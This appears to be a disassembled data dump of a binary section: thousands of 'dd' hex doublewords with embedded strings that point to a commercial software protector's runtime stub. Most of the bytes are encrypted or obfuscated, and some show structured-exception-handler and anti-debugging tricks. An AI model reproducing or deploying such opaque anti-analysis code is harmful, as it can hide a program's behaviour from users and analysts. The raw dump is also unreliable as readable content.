		dd 66585BD3h, 1A51C281h, 0D8EABF66h, 8D01C08Bh,	60301C9h
		dd 1A75B529h, 0F8830603h, 4D850FFFh, 0F000000h,	85C7F9BFh
		dd 6030F75h, 0
		dd 12E8h, 0CC3E5200h, 0BABC1859h, 3F8488EEh, 0FD39173Eh
		dd 890D6223h, 30B25B5h,	8D0F5906h, 6, 32159523h, 11E90603h
		dd 31000001h, 302899Dh,	2FE906h, 8D8B0000h, 603027Dh, 0F01F883h
		dd 2085h, 8E900h, 0DA00000h, 0CD3F69A7h, 12E9DDA6h, 8B000001h
		dd 312A18Dh, 81666006h,	0F818E7CFh, 0F14EE961h,	0B529FFFFh
		dd 6032A81h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 220712C3h, 0C88BCA8Bh, 1039BD83h
		dd 75000603h, 1DBD8309h, 60311h, 53501974h, 0DDB8C08Bh
		dd 89000007h, 3177585h,	919D8D06h, 0FF0605B0h, 83585BD3h
		dd 3111DBDh, 17740006h,	0DDB85350h, 89000007h, 3177585h
		dd 809D8D06h, 0FF0605ADh, 0E9585BD3h, 6, 92A92901h, 6A8F99h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0B0B313C3h, 8E8h, 0B3176800h, 96F40694h, 870F7Ch, 5A000000h
		dd 0B860C08Bh, 2C3A355Ch, 12B5BD29h, 8B610603h,	31AA18Dh
		dd 204E906h, 958B0000h,	6031265h, 0FC19858Dh, 8C0F0605h
		dd 0Bh,	6E9h, 809CF200h, 89526BD1h, 5FE1185h, 0F1816606h
		dd 3AE9FDBFh, 89000000h, 31211B5h, 21858D06h, 0BA0605FAh
		dd 7BC07A7Ah, 89D78B40h, 5FE1185h, 14E806h, 4AAD0000h
		dd 0CE00DC01h, 79AF682Bh, 0CA00F8BEh, 25FA454h,	0D28123D7h
		dd 59B07F71h, 8D346A5Ah, 31DA585h, 0B5FF5006h, 605FE11h
		dd 95FF006Ah, 6031AE1h,	0F07F883h, 16284h, 0DB8C6600h
		dd 0F04C3F6h, 0FC85h, 3985C600h, 5606032Fh, 0A8B85268h
		dd 59B5FF9Ch, 8D060313h, 338A785h, 6AD0FF06h, 10006804h
		dd 646A0000h, 0D0FF006Ah, 0FE848589h, 85C60605h, 6032F39h
		dd 0AC9B6847h, 0B5FFEC18h, 6031359h, 38A7858Dh,	0D0FF0603h
		dd 0F08BD0FFh, 2F3985C6h, 684F0603h, 0C62F2661h, 175B5FFh
		dd 858D0603h, 60338A7h,	9D8DD0FFh, 605FE80h, 56286A53h
		dd 0C085D0FFh, 85C60075h, 6032F39h, 64986841h, 0B5FFDB87h
		dd 6030175h, 38A7858Dh,	0D0FF0603h, 0FE9D8589h,	85C60605h
		dd 6032F39h, 0E7A4684Ch, 0B5FF80A4h, 6030175h, 38A7858Dh
		dd 0D0FF0603h, 0FE849D8Bh, 5B8D0605h, 9D8D5304h, 605FE89h
		dd 0FF006A53h, 849D8BD0h, 0C70605FEh, 103h, 0C43C700h
		dd 2, 64985C7h,	603h, 6A0000h, 6A006Ah,	0FE849D8Bh, 6A530605h
		dd 80B5FF00h, 0FF0605FEh, 5FE9D95h, 3985C606h, 4506032Fh
		dd 0A5F79768h, 11B5FF92h, 8D06032Dh, 338A785h, 6AD0FF06h
		dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 849D8B32h, 0C70605FEh
		dd 0C43h, 6A0000h, 9D8B006Ah, 605FE84h,	0FF006A53h, 5FE80B5h
		dd 9D95FF06h, 0FF0605FEh, 5FE80B5h, 0E195FF06h,	6A06030Ah
		dd 0F195FF00h, 29060320h, 30AD195h, 8E906h, 0CBF90000h
		dd 0E884235Fh, 858D83D1h, 6063122h, 38E0Fh, 0BF0F0000h
		dd 0B70F50D6h, 35FF64D7h, 0
		dd 31850956h, 59060302h, 258964h, 60000000h, 0BE8h, 0F43B9900h
		dd 1ADC4B5h, 9E2F4EDDh,	9E9B529h, 8B5A0603h, 320499Dh
		dd 0BD836106h, 6032CDDh, 70840F00h, 66000000h, 0BAA0DF81h
		dd 1E91BD83h, 0F010603h, 5E85h,	6810F00h, 8B000000h, 31A9595h
		dd 9DBD8006h, 60602h, 45850Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DCCDEDC3h
		dd 0E9C88B66h, 189h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0C9C35343h, 33DD127Ah, 0C58589DBh, 3306030Fh
		dd 7E8C0h, 1C20000h, 0F2230DE4h, 39BD8916h, 5A060313h
		dd 73F0F40h, 58F640Bh, 0
		dd 8904C483h, 31B4595h,	49958B06h, 83060313h, 840FFFFBh
		dd 0Bh,	12C99533h, 14E90603h, 0E9000001h, 72h, 30D1B529h
		dd 4C8B0603h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h
		dd 5C8BC3C0h, 0E8550C24h, 0
		dd 44ED815Dh, 8B060631h, 0B883h, 35858D00h, 89060632h
		dd 0B883h, 0C0335D00h, 53006AC3h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0FDFC786Ch, 0BD8B4D88h
		dd 60310D9h, 24818D29h,	858D0603h, 606313Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 4EC35646h, 950D2B6h
		dd 32C65BDh, 35FF6406h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A3C35040h
		dd 0D25F34E7h, 9E92A06h, 65000000h, 6237FDE5h, 3650CD19h
		dd 258964h, 0F000000h, 680h, 0F98D8B00h, 0B9060302h, 0Ah
		dd 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h,	34B640h
		dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h,	31C8585h
		dd 106h, 58F6400h, 0
		dd 0E904C483h, 13h, 7D2D72C1h, 21538D7Dh, 0E4B4753Fh, 9BB32C96h
		dd 8BBAD2EBh, 31FD9BDh,	8BC08B06h, 30BE995h, 39BD8306h
		dd 60310h, 0BD830975h, 603111Dh, 50197400h, 0B8C08B53h
		dd 43Dh, 23918589h, 9D8D0603h, 605B0F8h, 585BD3FFh, 111DBD83h
		dd 74000603h, 0B8535017h, 43Dh,	23918589h, 9D8D0603h, 605AD99h
		dd 585BD3FFh, 14658501h, 6A0603h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0C13A4FC3h, 8E9F266h
		dd 0E3000000h, 0FA393AD7h, 8BD41DD1h, 3127595h,	0E9C08B06h
		dd 13Ah, 4, 35382E31h, 35h, 6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
		dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
		dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
		dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
		dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
		dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
		dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
		dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
		dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
		dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
		dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
		dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
		dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
		dd 603326Dh, 2D840F00h,	8D000001h, 5ABB085h, 858D5006h
		dd 605AB1Ah, 16850h, 95FF8000h,	605ABC0h, 32F0858Dh, 8D500606h
		dd 632FA85h, 6A5006h, 858D006Ah, 605AB2Eh, 0B0B5FF50h
		dd 0FF0605ABh, 31A4D95h, 0F0858D06h, 50060632h,	32FE858Dh
		dd 6A500606h, 8D006A00h, 5AB4085h, 0B5FF5006h, 605ABB0h
		dd 1A4D95FFh, 858D0603h, 60632F0h, 0A858D50h, 50060633h
		dd 6A006Ah, 0AB8D858Dh,	0FF500605h, 5ABB0B5h, 4D95FF06h
		dd 8D06031Ah, 632F085h,	858D5006h, 6063312h, 6A006A50h
		dd 0AB858D00h, 500605ABh, 0ABB0B5FFh, 95FF0605h, 6031A4Dh
		dd 32F0858Dh, 8D500606h, 6330E85h, 6A5006h, 858D006Ah
		dd 605AB94h, 0B0B5FF50h, 0FF0605ABh, 31A4D95h, 0F0858D06h
		dd 50060632h, 3302858Dh, 6A500606h, 8D006A00h, 5AB9C85h
		dd 0B5FF5006h, 605ABB0h, 1A4D95FFh, 858D0603h, 60632F0h
		dd 6858D50h, 50060633h,	6A006Ah, 0ABA3858Dh, 0FF500605h
		dd 5ABB0B5h, 4D95FF06h,	0FF06031Ah, 5ABB0B5h, 2D95FF06h
		dd 0E9060320h, 0A2h, 445BD83h, 0F000603h, 9584h, 91BD8300h
		dd 6031Eh, 11850Fh, 958B0000h, 6032F05h, 1CF8C281h, 0FE90000h
		dd 8D000000h, 30B8995h,	34528B06h, 0C340C281h, 95893BD4h
		dd 6031175h, 1175BD83h,	0F000603h, 5584h, 759D8B00h, 83060311h
		dd 38B4CC3h, 32FA8589h,	9D8B0606h, 6031175h, 8B50C383h
		dd 0FE858903h, 8B060632h, 311759Dh, 54C38306h, 8589038Bh
		dd 606330Ah, 11759D8Bh,	0C3830603h, 89038B58h, 6330E85h
		dd 759D8B06h, 83060311h, 38B5CC3h, 33028589h, 0BD830606h
		dd 603326Dh, 0D850F00h,	83000000h, 30445BDh, 840F0006h
		dd 68h,	3312B5FFh, 0B5FF0606h, 6063306h, 3302B5FFh, 0B5FF0606h
		dd 606330Eh, 330AB5FFh,	0B5FF0606h, 60632FEh, 32FAB5FFh
		dd 858D0606h, 60632F4h,	2C858D50h, 50060633h, 0D05858Dh
		dd 0FF500603h, 3128595h, 24C48306h, 858D406Ah, 6063316h
		dd 5858D50h, 5006030Dh,	95FF006Ah, 6031AE1h, 95FF016Ah
		dd 60320F1h, 0BE8C18Bh,	0AD000000h, 0F97C550Bh,	132E4DEEh
		dd 0DF8B4EA3h, 0F3E3805Eh, 6CF4C681h, 0B2600000h, 128E0FA1h
		dd 0E9000000h, 0Dh, 6EFA14E9h, 4A63561Ah, 0DC3DF5E7h, 0DBA617Ch
		dd 6600001Bh, 8B3F55BFh, 0C081FC06h, 61FC13CFh,	8D0Fh
		dd 0C0810000h, 139EEBADh, 0C081FB8Bh, 37120A2Ah, 5820Fh
		dd 50BB0000h, 5011E082h, 0CE9h,	0F5D2FC00h, 0DCD85F3Ah
		dd 6441DB89h, 0B3068F93h, 0F2EE818Fh, 81739C4Eh, 9C4EEEC6h
		dd 835F5173h, 850F01EAh, 18h, 2CE996B1h, 0A000000h, 46141552h
		dd 0EFD4A993h, 5D45D30Ah, 0AAE50099h, 9E8h, 22DF6600h
		dd 0ED18204Ah, 0D88BC465h, 0FF7DE959h, 3824FFFFh, 6083D46Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 17C35545h
		dd 0D48A37EFh, 8166C08Bh, 83B652C2h, 31039BDh, 9750006h
		dd 111DBD83h, 74000603h, 8B535019h, 40EB8C0h, 85890000h
		dd 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh
		dd 50177400h, 40EB853h,	85890000h, 6031775h, 0AD809D8Dh
		dd 0D3FF0605h, 0FE8585Bh, 52000000h, 632CE645h,	2CAD3158h
		dd 4D64CB70h, 0B4B999BCh, 5911E333h, 0C08BD68Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 53C35646h, 95878DE9h
		dd 3FFB1438h, 7800F2Fh,	0F000000h, 188h, 0BF0FF800h, 0B8A0FF6h
		dd 0E9000000h, 6, 47A61725h, 0BD838F5Fh, 6032CDDh, 12840F00h
		dd 0F000000h, 58Eh, 8E48BA00h, 4CE909D1h, 0B5000002h, 0E8DF8C2Ch
		dd 0Bh,	0DE17EDC2h, 6CDD3F79h, 8B4EB1A8h, 0F7665ED0h, 0F0004C7h
		dd 22A85h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 5D5DA15Fh, 0AFE7D4E1h, 8B66B56Eh
		dd 7E9CBh, 0B2960000h, 3959DFA3h, 0BF1Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 9932B2C3h, 6616B9EFh, 0F69F9BAh, 9D8DF1BFh, 6063A35h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 9BC35040h
		dd 6693D08Bh, 50203BBEh, 50006A93h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0CEFC93ABh, 6ECD776Fh
		dd 0EFBE6657h, 0FF645E7Ah, 35h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 104C3994h
		dd 510B08F4h, 7E9h, 249A9700h, 7CD00ADAh, 2589645Ah, 0
		dd 8BF1B70Fh, 0AE9C4h, 0BF620000h, 0FEBCBC9Ah, 6C71713Ch
		dd 0EB01CDh, 6AF7BF0Fh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8BA4C353h, 58F64F0h
		dd 0
		dd 6A04C483h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0FDEC356h, 48Bh, 5E575600h, 0FC00B59h
		dd 0C684h, 0B3BA6600h, 0BF0F6177h, 87BD8DC9h, 0F060372h
		dd 1B8F6BFh, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 259CC352h, 23684FF4h
		dd 8B1F0B5Fh, 8166CF8Ah, 0FF4648F2h, 56006AE7h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0EB7F286Ch
		dd 0D2152CBEh, 5C8B5713h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
		dd 0B0h, 0B88383h, 5F020000h, 0FC3C033h, 8Eh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 36E4548Ah, 0E1E0B966h, 0EE9h, 4E98B900h, 62517BFCh
		dd 1E37D923h, 618A4AACh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 7EC35747h, 0D68B3322h, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 54B2A1C3h, 0D82538ACh, 0BD839882h, 6031039h,	83097500h
		dd 3111DBDh, 19740006h,	0C08B5350h, 40EB8h, 91858900h
		dd 8D060323h, 5B0F89Dh,	5BD3FF06h, 1DBD8358h, 60311h, 53501774h
		dd 40EB8h, 91858900h, 8D060323h, 5AD999Dh, 5BD3FF06h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0AB8C49FEh, 474EA5F4h, 11E9B577h, 6B000000h,	4B2B1Fh
		dd 6B51A2A7h, 0FF763AD2h, 0EFE606E6h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0F3C35343h,	689B1260h, 6AC08Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0F918CCC3h, 0F9F5E252h, 13E9h, 889AF300h, 0CC9CDEB0h
		dd 0EC6F7DD7h, 7D97FBECh, 0E25FC4AFh, 18EBC28Bh, 9B46F317h
		dd 5 dup(0)
		dd 20BE9h, 5C8B6000h, 0E82424h,	5D000000h, 3BE7ED81h, 0C2610606h
		dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 0FFFFFFh, 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 63C1FB5h, 0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	63C23B5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 6031175h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 31E6D95h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6031175h
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	1175858Bh, 18860603h
		dd 850FDB0Ah, 0FFFFFFF6h, 2B0585C7h, 603h, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 32B0585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
		dd 29840F04h, 0C7000000h, 63BC485h, 106h, 10F5000h, 8FFE244Ch
		dd 63BC885h, 0C0858D06h, 8D06063Bh, 63BC8BDh, 0E9388906h
		dd 23h,	0B89858Dh, 408B0603h, 0F3170538h, 85899B46h, 6063BC0h
		dd 0B89858Dh, 408B0603h, 0C485893Ch, 8D06063Bh,	63BDD85h
		dd 6D858906h, 0E906031Eh, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah
		dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
		dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
		dd 7, 6280630h,	3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
		dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah,	0AC000000h
		dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
		dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 63E5085h, 91858906h
		dd 8D060303h, 63E7885h,	45858906h, 8D060331h, 63EA085h
		dd 49858906h, 0EB060322h, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 91858B24h
		dd 8D06031Eh, 68D0D85h,	8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 63F018Dh,	31BD8306h, 60328h, 0F840Fh, 6A600000h
		dd 0B995FF00h, 6106031Fh, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
		dd 2728966h, 5A04CD52h,	3EFD8589h, 0B58B0606h, 6063F01h
		dd 6610CEC1h, 8B027289h, 63F01B5h, 72896606h, 858B61FCh
		dd 6063EFDh, 0C9958DC3h, 89060317h, 3117595h, 0FD958906h
		dd 0FF060301h, 301FD85h, 3985C606h, 5306032Fh, 0B148D868h
		dd 59B5FFFCh, 8D060313h, 338A785h, 89D0FF06h, 31FB985h
		dd 0F7858D06h, 8906063Bh, 30F8585h, 51E906h, 8B600000h
		dd 3242474h, 7C8B3C76h,	0D68B2824h, 0F8C281h, 8B660000h
		dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch
		dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh,	1C247C89h
		dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh
		dd 9FD3Eh, 5EE900EBh, 0E9000006h, 652h,	640FD68h, 3D2BE906h
		dd 5568FFFDh, 0E9060642h, 0FFFD3D21h, 6434768h,	3D17E906h
		dd 68FFFDh, 0E9060644h,	0FFFD3D0Dh, 6450C68h, 3D03E906h
		dd 0A948FFFDh, 20FD4004h, 8E60F59Bh, 0FA926765h, 6D0297F5h
		dd 73A20044h, 3BA95227h, 0AF3DC256h, 0DDB338DAh, 4C00A548h
		dd 3CD57535h, 807108B0h, 0F26F73F0h, 47770EF0h,	770EF0CEh
		dd 168F9B55h, 0D770EF1h, 0EF0A43Dh, 524D1877h, 85012987h
		dd 94770EF0h, 0F19B20F1h, 93301894h, 0E8770EF0h, 770EF06Ah
		dd 39FEECAFh, 60283B07h, 1D27A484h, 7803F70Eh, 72EC3C7Ah
		dd 0C8F5113Eh, 0F280651Dh, 64369BC9h, 0F7A0D5Fh, 771D991h
		dd 75EF0E0Ch, 0FDA4CFE6h, 513966D3h, 4D1BCh, 0A344D700h
		dd 36BB582Dh, 8029CF52h, 109579CCh, 0E308E97Ch,	82D807EDh
		dd 3D80C4EDh, 0A134585Dh, 0D7BA2ED3h, 8829BF40h, 0B0A13A0Eh
		dd 6D1F7108h, 0A2432A8Eh, 0A38E6104h, 35F8CFA9h, 0F2917CB2h
		dd 4C1C9821h, 0E6326A4h, 0B237D877h, 44945DAh, 0E2B67758h
		dd 0E3E50EEFh, 3383D70Bh, 3A297DA1h, 0C0C17899h, 0EB4EF68h
		dd 0F99E4D77h, 58D454F3h, 99976235h, 8D32DA33h,	507319ECh
		dd 5B3287C5h, 0CA84325Ah, 0EE4E57Eh, 0A0745B77h, 5134B01Fh
		dd 8B30C1BEh, 60C8823Ch, 770EE4E7h, 422A8655h, 770F53C1h
		dd 0EF10E7A0h, 7ACEE8FDh, 770EE4E1h, 0AF3D885Fh, 7B7C1CF1h
		dd 45AEB6FDh, 3BF5996Dh, 0E820C9AAh, 770EF06Fh,	0F1059EAAh
		dd 0EC7B770Eh, 504A26B5h, 3BCh,	0A2432AE3h, 0F7996C2Ah
		dd 71CF9AF2h, 0EF0BB59h, 99CD4F77h, 0DB892EC1h,	0B32CFCBAh
		dd 9770EF0h, 0D5A70A42h, 42D5B82Ch, 0B36D2BBDh,	0EF0FE97h
		dd 19974277h, 109E5AEh,	0FEC160D2h, 0D14F1DE8h,	91E8100Eh
		dd 18946CF3h, 4B1DA275h, 821512E6h, 937E6B7Dh, 20B02DFDh
		dd 0B040770Eh, 9B270EC5h, 0BD087563h, 0F3F19C2Bh, 0BC45D6B7h
		dd 0A286C0h, 0BE7511BEh, 3A57882Bh, 620AE0D0h, 379EFh
		dd 1B9C7F00h, 0EE13E075h, 788117FAh, 0C8ED8114h, 5B603184h
		dd 2A80BF35h, 4528BC45h, 0C95C30B5h, 7FC2862Bh,	20711798h
		dd 0AE49C266h, 5B77108h, 0A2432A66h, 0B8904A04h, 770EF01Fh
		dd 45DECE9Dh, 0BB770EF0h, 5538502Ch, 0C15AEEC2h, 3F770EF0h
		dd 0C0A5DDA8h, 5C2C882Dh, 88630BDAh, 0C1598B4h,	80C8571Fh
		dd 761A6FC5h, 9364F2BBh, 0DC9A69F1h, 0ECDD34Ch,	0D7A22977h
		dd 2CDCF89Bh, 9ADC51CDh, 65A24A1Eh, 0B4770EB9h,	7D866BFAh
		dd 0B52E7E6Bh, 0B770EB9h, 0E1F73B5Ch, 3AA6939Eh, 0A3F16EBEh
		dd 4528770Eh, 0B5E0EB3h, 0B738D8ADh, 0A3900DD5h, 0FA8B770Eh
		dd 63846B18h, 1B917C69h, 0A7C3E1ACh, 0A5762FC6h, 7D3BB11Ch
		dd 0A82109C3h, 14770EA3h, 0B5C3EB41h, 237511A8h, 21F2AF4Ch
		dd 0D5750D98h, 710B9A3Ch, 374ED580h, 0E0D04EF0h, 8738D5B5h
		dd 6D000002h, 967B698Eh, 5E8FC05h, 0B71A4E73h, 278ADEDFh
		dd 493BA952h, 0B237D88Eh, 6A74BDEh, 941DFF42h, 658A6DF0h
		dd 0F0585E67h, 7108AD57h, 2A5013A5h, 472AA243h,	0CE5D0FB0h
		dd 0A5480256h, 9CAC6600h, 770EF103h, 40436835h,	0CD4B1F95h
		dd 0A6825A38h, 770EF02Dh, 8379C493h, 6D51ACB0h,	1E6AB99h
		dd 1D40000h, 0F06AE347h, 0FBD6770Eh, 92F7911Ah,	481A907h
		dd 3C770EF1h, 0A237555Eh, 0DCA12BD0h, 70D3B53Eh, 0BF40D7B6h
		dd 0F83CB82Dh, 0FB0092D4h, 52465E95h, 885D996Dh, 7664C0E5h
		dd 48h,	6785F081h, 25FF4Bh, 4C1B7512h, 0D009F835h, 3429C1E0h
		dd 1CEh, 22A6472Ah, 5735BE5Fh, 0C1872CC2h, 7117987Ch, 0E2E60BECh
		dd 0F081D500h, 603085CBh, 0D6A4095Fh, 432ABF2Dh, 13972EA2h
		dd 8AC9E37h, 9152E271h,	0EEFFA0E6h, 99321608h, 0E7770DFDh
		dd 2DE82F70h, 9FABE543h, 770EE0FEh, 33E5E772h, 7EF23D60h
		dd 8967A34Ch, 6C2716E4h, 20AA3D38h, 64D2B61Dh, 72CEF381h
		dd 1577781Fh, 0CC5C2952h, 770ED553h, 315722A9h,	3BDDCEACh
		dd 24B3D6B6h, 0B53ADDA0h, 5AA4ED3h, 0ED9DC047h,	8D1A1A1Eh
		dd 0FBC55F5h, 5500770Eh, 0F36CBCFAh, 49770E0Fh,	0B94CCA82h
		dd 0D2B7D1D6h, 545D3356h, 260A7730h, 918FAEE2h,	1D4FDA99h
		dd 0B7D5DEB0h, 0E7BEA67h, 37B5C077h, 8469AF7Bh,	10C77511h
		dd 0DDE6B756h, 50593A8Fh, 34B14516h, 7AC5430h, 481D4F70h
		dd 0E50AEEFDh, 620AE6E3h, 94F4FD9Fh, 4446909h, 0BAD2D7B9h
		dd 4A64820Dh, 56D2D3BBh, 0AA063018h, 0E1746F0Eh, 0D36F7FCEh
		dd 578A62E6h, 0C2h, 3E525326h, 0A321CAABh, 0DDB338DEh
		dd 4D03A448h, 0FE9217F8h, 0FC9DC974h, 6C0C91F7h, 0E2B0054Bh
		dd 4F268BD9h, 1F9B3AAEh, 8AB920Bh, 9D5EEE71h, 2AA2432Ah
		dd 7E8CAB6Ch, 0D5EFF2F5h, 42630A5Fh, 27E1990Ah,	0E0C8A03h
		dd 8563F677h, 42D56DB1h, 0BA4B05BDh, 62FB2DD2h,	0B9770E0Ch
		dd 0E0CF891h, 0BE914477h, 0A394D2Bh, 996C6DF2h,	13EDh
		dd 0F16F0E00h, 3770EF0h, 0D9E2B36Ch, 21FB1E72h,	7A000000h
		dd 0EF0F26Fh, 0B26B0277h, 0A63F0BE1h, 1A770EF0h, 0FDE8E04Fh
		dd 13C47216h, 0EFC6F26Fh, 39BA361Fh, 67886C01h,	5F9CA689h
		dd 12h,	7EB46721h, 95AA17DEh, 0F3E8A0F1h, 0E18BC689h, 472A880Bh
		dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h
		dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 500B4008h, 405E089h
		dd 83000000h, 48704E8h,	24248B24h, 7C3B68h, 240C8900h
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68240489h, 6064062h
		dd 81240C8Bh, 4C4h, 6A9B6800h, 24890000h, 24048124h, 4
		dd 3D906858h, 14890000h, 89CA8924h, 8B5A0850h, 89512404h
		dd 4C181E1h, 83000000h,	0C8704C1h, 0C8B5C24h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0FD36ECE9h, 0FAEDB7FFh
		dd 7F83B52Dh, 0F3B89F9Ch, 3060645h, 0EBD18BC5h,	20h, 7 dup(0)
		dd 5A9E900h, 9DE90000h,	68000005h, 606486Fh, 0FD36A4E9h
		dd 492A68FFh, 9AE90606h, 68FFFD36h, 6064AF8h, 0FD3690E9h
		dd 4B6668FFh, 86E90606h, 0F5FFFD36h, 7EC38126h,	0ED70149Dh
		dd 1FE2E60Bh, 8F127677h, 2183C1EAh, 2ACFA0F6h, 0BE3FD3A6h
		dd 0CB5472Ah, 9D22F558h, 58F0B6CFh, 7108AABFh, 2AE88B3Dh
		dd 0F7B04744h, 9ECB9D26h, 0A10C5933h, 0F0821F27h, 0E88EF70Eh
		dd 0ABA7505h, 0C9457788h, 9CC9836Eh, 9DC81C20h,	279D26C8h
		dd 6C9D081Ch, 26CA9B19h, 0D52EF081h, 996E524Fh,	183923h
		dd 6FBA0000h, 770EF0F1h, 7630AED9h, 0CB28CD2h, 29BF2A75h
		dd 2B34h, 6C014F00h, 0B563658Eh, 0EF0FC95h, 0E954077h
		dd 0F0FD9AB2h, 0A2ED770Eh, 98DE6A04h, 16750CB2h, 0C0930D43h
